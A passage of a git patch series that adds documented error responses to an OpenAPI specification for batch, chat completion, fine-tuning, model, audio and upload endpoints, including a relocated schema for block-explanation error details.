+ description: The upload could not be completed. Retry the same request, preserving the part order and MD5 value.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -21045,6 +21195,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UploadPart'
+ '400':
+ description: The upload cannot accept more parts, or the part exceeds an upload size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The upload was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The upload has expired. Create a new upload before adding parts or completing it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The part could not be uploaded. Try the request again.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
From 6e4a79cc8c7e640e7ac4be710db32fe20b1020f2 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 25 Sep 2026 07:21:13 +0000
Subject: [PATCH 216/341] chore(api): document batch error responses (#3961)
## Summary
Documents applicable Batch API errors while preserving Python exception
behavior.
## Changes
- Describe invalid requests, missing batches, and cancellation
conflicts.
- Clarify applicable rate-limit and service-error responses.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api_reference/openapi.transformed.yml | 144 ++++++++++++++++++++------
2 files changed, 119 insertions(+), 35 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 3f302e348a..2ec81f58c1 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: bbcf5fb4-a54f-48d7-9c24-772776477085
-openapi_spec_hash: 0e4e2f7dffefdf9af4ba091f557e3698
-openapi_transformed_spec_hash: 289efd507762e0572ba21c2b46935826
+generation_id: bf7a8dff-eafb-43e0-873c-86458c45c4bc
+openapi_spec_hash: 0ec6a7e693cd01f26722c3dab19fc122
+openapi_transformed_spec_hash: f0b54f1f631dbd006b7768595bcda2d4
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 89568c51f375a47f1d3156069016495765eeb70f
+codegen_sha: d04e68695b3ce0aedd210db03d3a02ec740a3cef
codegen_hash: 67b5ab20d81c80689a8a857466838278fb0d428d48b3261d2479bab43396d589
-public_codegen_sha: adc070c132abc2bdd81fd8ef5c4b75925ea0a02c
+public_codegen_sha: 00b2059284b62aea18c2360ad9cd3ee65a9c12e5
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 07e65f039a..fc9cfaa657 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -1540,6 +1540,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
+ '400':
+ description: The request is invalid or the account cannot create a batch.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error prevented the batch from being created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: The batch could not be created because the service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1637,6 +1661,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListBatchesResponse'
+ '400':
+ description: Invalid pagination parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No batch was found with the specified pagination cursor.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1724,6 +1766,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
+ '400':
+ description: Invalid batch ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No batch was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1800,6 +1860,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
+ '400':
+ description: Invalid batch ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No batch was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The batch's current status does not allow cancellation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -66973,6 +67057,36 @@ components:
"type": "safety.warning_issued",
"data": {"id": "C-abc123"}
}
+ _MisalignmentErrorType:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ _MisalignmentSteer:
+ properties:
+ message:
+ type: string
+ description: The public continuation instruction.
+ type: object
+ required:
+ - message
+ MisalignmentErrorDetailsResource:
+ properties:
+ error_type:
+ $ref: '#/components/schemas/_MisalignmentErrorType'
+ description: An optional classification; clients must accept additional values.
+ detailed_explanation:
+ type: string
+ description: The public explanation for this block.
+ steer:
+ $ref: '#/components/schemas/_MisalignmentSteer'
+ description: An optional public continuation instruction.
+ type: object
+ required: []
ModerationInputType:
type: string
enum:
@@ -70449,36 +70563,6 @@ components:
- object
- metadata
- created_at
- _MisalignmentErrorType:
- anyOf:
- - type: string
- - type: string
- enum:
- - potentially_unintended_data_transfer
- - potentially_unintended_data_access
- - potentially_unintended_destructive_activity
- - other
- _MisalignmentSteer:
- properties:
- message:
- type: string
- description: The public continuation instruction.
- type: object
- required:
- - message
- MisalignmentErrorDetailsResource:
- properties:
- error_type:
- $ref: '#/components/schemas/_MisalignmentErrorType'
- description: An optional classification; clients must accept additional values.
- detailed_explanation:
- type: string
- description: The public explanation for this block.
- steer:
- $ref: '#/components/schemas/_MisalignmentSteer'
- description: An optional public continuation instruction.
- type: object
- required: []
ImageGenOutputTokensDetails:
properties:
image_tokens:
From a73fe0c3d404335a342d1251bd32709b8e3d76f2 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 25 Sep 2026 18:39:04 +0000
Subject: [PATCH 217/341] chore(api): document stored chat completion errors
(#3963)
## Summary
Clarifies error responses for stored chat completions without changing
Python exception handling.
## Changes
- Document applicable lookup, validation, rate-limit and service errors.
- Preserve existing methods, return types and exception behavior.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 ++--
api_reference/openapi.transformed.yml | 82 +++++++++++++++++++++++++++
2 files changed, 87 insertions(+), 5 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 2ec81f58c1..efc7b40d9a 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: bf7a8dff-eafb-43e0-873c-86458c45c4bc
-openapi_spec_hash: 0ec6a7e693cd01f26722c3dab19fc122
-openapi_transformed_spec_hash: f0b54f1f631dbd006b7768595bcda2d4
+generation_id: 9040533e-70f4-4cd8-8f49-a00105025cea
+openapi_spec_hash: 51a93abe82b6f71bdb437dd6a5cb1073
+openapi_transformed_spec_hash: 6e1ff6e06165d5b2e49cbfd336f00c20
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: d04e68695b3ce0aedd210db03d3a02ec740a3cef
+codegen_sha: 5663a0d22f91cc3d5b3eaa0c03a956c5f48adcfd
codegen_hash: 67b5ab20d81c80689a8a857466838278fb0d428d48b3261d2479bab43396d589
-public_codegen_sha: 00b2059284b62aea18c2360ad9cd3ee65a9c12e5
+public_codegen_sha: 6ce10b315e475749bc0daf4467479a609cdb563d
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index fc9cfaa657..081953a770 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -1995,6 +1995,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionList'
+ '400':
+ description: Invalid pagination or filter parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
path: list
@@ -2924,6 +2938,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3012,6 +3040,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
+ '400':
+ description: Invalid metadata update.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3091,6 +3139,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionDeleted'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3160,6 +3222,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionMessageList'
+ '400':
+ description: Invalid message pagination parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
From 5d4003c12d5df5a5faed35971cac3bcb711fdf7d Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 25 Sep 2026 19:34:58 +0000
Subject: [PATCH 218/341] chore(api): document fine-tuning and model errors
(#3964)
## Summary
Clarifies fine-tuning and model error responses while retaining existing
Python behavior.
## Changes
- Describe applicable validation, lookup, permission and rate-limit
errors.
- Preserve existing methods, return types and exception behavior.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api_reference/openapi.transformed.yml | 228 ++++++++++++++++++++++++++
2 files changed, 233 insertions(+), 5 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index efc7b40d9a..c1bf184a5a 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 9040533e-70f4-4cd8-8f49-a00105025cea
-openapi_spec_hash: 51a93abe82b6f71bdb437dd6a5cb1073
-openapi_transformed_spec_hash: 6e1ff6e06165d5b2e49cbfd336f00c20
+generation_id: 1dd246ed-238d-481d-9649-a93ac4e0d455
+openapi_spec_hash: 91cc2e79b522ef1d5b1d0a7c930b06b2
+openapi_transformed_spec_hash: b081b94fc815ee91ad978e592e233b83
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 5663a0d22f91cc3d5b3eaa0c03a956c5f48adcfd
+codegen_sha: de6e1f3fdc3337dd65e009deee8a0e6654912a82
codegen_hash: 67b5ab20d81c80689a8a857466838278fb0d428d48b3261d2479bab43396d589
-public_codegen_sha: 6ce10b315e475749bc0daf4467479a609cdb563d
+public_codegen_sha: ee717eb8a6c8891cc8d8bd1f5af1471d3806b213
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 081953a770..7f6cec4af7 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -6598,6 +6598,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunGraderResponse'
+ '400':
+ description: The grader definition or request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
group: graders
@@ -6829,6 +6841,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ValidateGraderResponse'
+ '400':
+ description: The grader definition or request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
group: graders
@@ -6912,6 +6936,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -6971,6 +7007,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
+ '400':
+ description: The request is invalid or checkpoint permissions cannot be changed for the requested projects or job state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The checkpoint or its fine-tuning job was not found, or the checkpoint cannot be shared.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7028,6 +7082,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteFineTuningCheckpointPermissionResponse'
+ '400':
+ description: The checkpoint permission cannot be removed for the requested project or job state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The checkpoint, permission, associated project, or fine-tuning job was not found, or the checkpoint cannot be shared.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7066,6 +7138,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The request is invalid or the organization does not meet the requirements to create a fine-tuning job.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: A request or fine-tuning job limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7485,6 +7569,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListPaginatedFineTuningJobsResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7560,6 +7656,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7643,6 +7751,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The fine-tuning job cannot be cancelled in its current state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7716,6 +7842,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningJobCheckpointsResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7793,6 +7937,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningJobEventsResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7871,6 +8033,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The fine-tuning job cannot be paused in its current state or does not support pausing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible, or this operation is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7931,6 +8111,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The fine-tuning job cannot be resumed in its current state or does not support resuming.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible, or this operation is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: A request or fine-tuning job limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8548,6 +8746,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListModelsResponse'
+ '403':
+ description: The API credential does not have permission to list models.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -8635,6 +8839,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Model'
+ '403':
+ description: The API credential does not have permission to retrieve models.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The model was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -8700,6 +8916,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteModelResponse'
+ '403':
+ description: Insufficient permissions to delete the model. Model deletion requires the Owner role in the organization and a credential that permits deletion.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The model was not found, is not accessible, or cannot be deleted through this endpoint.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: models
examples:
From 384fee3252e2336a85450ff38f9bae41f9199616 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Sat, 26 Sep 2026 02:38:09 +0000
Subject: [PATCH 219/341] chore(api): clarify documented API error responses
(#3965)
## Summary
Clarifies documented error responses for Python users without changing
existing client behavior.
## Changes
- Document applicable errors across organization, inference, media and
resource APIs.
- Preserve existing public methods, exception types and runtime
behavior.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api_reference/openapi.transformed.yml | 4195 ++++++++++++++++++++++++-
2 files changed, 4115 insertions(+), 90 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index c1bf184a5a..cbf8b0fb52 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 1dd246ed-238d-481d-9649-a93ac4e0d455
-openapi_spec_hash: 91cc2e79b522ef1d5b1d0a7c930b06b2
-openapi_transformed_spec_hash: b081b94fc815ee91ad978e592e233b83
+generation_id: 8f7e098f-e353-41cb-b58d-e4f29fe93695
+openapi_spec_hash: 040cdc82e15feee4aff18579e53dbaa4
+openapi_transformed_spec_hash: 122a138e15209cbe9b31f91cdaccd592
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: de6e1f3fdc3337dd65e009deee8a0e6654912a82
+codegen_sha: ad8ea5ac6f75d45952618ec57d96ba0285961aee
codegen_hash: 67b5ab20d81c80689a8a857466838278fb0d428d48b3261d2479bab43396d589
-public_codegen_sha: ee717eb8a6c8891cc8d8bd1f5af1471d3806b213
+public_codegen_sha: 7c66cc09bbb86486567a7cee32f3048ebb85175e
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 7f6cec4af7..c2e045786d 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -604,8 +604,37 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateSpeechResponseStreamEvent'
+ '400':
+ description: Invalid speech request, input, output format, or voice.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The voice or speech audio could not be processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -718,8 +747,49 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateTranscriptionResponseStreamEvent'
+ '400':
+ description: Invalid audio input or request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '413':
+ description: The audio request exceeds the supported size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The audio could not be processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '502':
+ description: The upstream audio service connection failed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -1271,8 +1341,49 @@ paths:
- $ref: '#/components/schemas/CreateTranslationResponseVerboseJson'
x-stainless-skip:
- go
+ '400':
+ description: Invalid audio input or request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '413':
+ description: The audio request exceeds the supported size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The audio could not be processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '502':
+ description: The upstream audio service connection failed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -1348,6 +1459,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
+ '400':
+ description: Invalid consent recording or consent phrase.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1388,6 +1511,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentListResource'
+ '400':
+ description: Invalid pagination parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the pagination cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1416,6 +1551,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
+ '400':
+ description: Invalid consent recording ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1449,6 +1596,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
+ '400':
+ description: Invalid consent recording ID or update.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1481,6 +1640,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentDeletedResource'
+ '400':
+ description: Invalid consent recording ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1509,6 +1680,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceResource'
+ '400':
+ description: Invalid voice request, consent recording, or audio sample.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The audio sample could not be processed or the voice could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -2110,8 +2299,43 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateChatCompletionStreamResponse'
+ '400':
+ description: Invalid chat completion request or incompatible request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
